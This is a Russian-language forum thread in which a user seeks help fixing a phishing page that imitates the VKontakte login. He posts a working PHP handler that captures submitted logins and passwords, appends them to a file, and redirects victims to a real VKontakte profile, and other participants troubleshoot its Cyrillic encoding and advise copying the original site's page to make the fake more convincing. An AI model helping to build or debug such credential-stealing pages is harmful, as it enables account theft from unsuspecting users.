![]() |
Вопрос по PHP Фейк не записывает в базу русские буквы
Если в пароле у юзера есть русские буквы то обработчик записывает в базу, что то типо такого îëÿ333
Как с этим бороться? |
а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш
|
Кодировку исправь ;)
|
А проще кодируй в бейс64,и записывай.
|
а как там кодировку менять?
|
люди я нулевой в ПХП как именно там сделать?
|
Вот файл обработчик:
<?PHP $Login = $_POST['login']; // Ëîãèí $Pass = $_POST['pass']; // Ïàðîëü $log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸ fclose($log); //çàêðûâàåì echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>"; ?> записывает в base.php |
перед <?PHP попробуй просто добавить:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> |
Цитата:
|
в смысле не сюда, а на саму страницу фейка, с которой у тебя идет передресация на этот код php, у тебя же где есть поля для ввода пароля и прочее - вот туда вставь
|
я уже везде где тока можно впихнкть поробовал, всё равно непомогает
|
Выложи весь код фейка сюда, тогда помогу, 100%
|
а в базе у тебя какая кодировка стоит?
|
Цитата:
|
ИНДЕКС.ПХП
PHP код:
PHP код:
PHP код:
|
Всё что было русским в файлах всё поменялась на хз что
|
2 cnd:
и то, и другое, по очереди, вставь в обычный блокнот windows, сохрани, если будет чо спрашивать, на всё отвечать "да", потом обратно на сервак залей (ну или туда, где ты там фейк тестишь) Просто у тебя все исходники в уникоде, а надо в ANSI Когда я так сделал - русский текст нормально сохраняется Цитата:
|
Всё сделал как сказал ты залил на хост и оно + что незаписывало как надо дык ещё и в браузере все русские буквы такой же мазой показывалиссь
|
ЛАНА КУЙ с НИМ
|
Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема.
ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов |
Цитата:
|
Именна эта у меня например работает. Как и что сделать - расписано в подробностях.
|
Код:
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte"> |
В log.txt я так понимаю кодировку нужно изменить
Заменить "charset=UTF-8" на "charset=windows-1251" |
Цитата:
|
| Время: 16:24 |